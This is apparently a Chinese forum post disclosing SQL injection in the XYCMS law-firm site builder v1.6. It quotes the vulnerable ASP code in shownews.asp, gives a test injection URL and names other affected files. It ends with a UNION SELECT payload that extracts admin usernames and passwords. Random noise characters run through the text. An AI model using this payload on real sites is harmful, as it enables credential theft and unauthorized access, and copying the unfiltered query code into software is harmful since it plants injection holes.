XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
( E( C% K+ q; a, q
0 I$ K0 f! K: M淫荡分割线
, ?# e# x2 s6 @# t% C/ d1 |--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
# @/ z/ q# d2 A9 e1 [源码地址:http://down.chinaz.com/soft/29233.htm

, o2 _( z/ |- v8 v/ m: r: \8 e' U0 r2 c漏洞文件:shownews.asp
% [% F' w0 e3 m7 Q+ K漏洞代码：7-13行

$ @$ [! n; V: E% H
<%
4 P4 T4 R2 X& _0 p* g; {* K- n5 Wid=request.QueryString("id")
   
, s$ O0 b: S" n: H& g4 n+ t- Sset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>
* W' B  K- ?" j  n3 m" a2 o
: k" S  u3 @+ _  l! L% _, C8 \
什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx

$ ~7 T* i) F' U: _7 e  A其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找


exp: union select 1,admin,password,4,5,7 from admin_user
! y" e1 s. n0 {​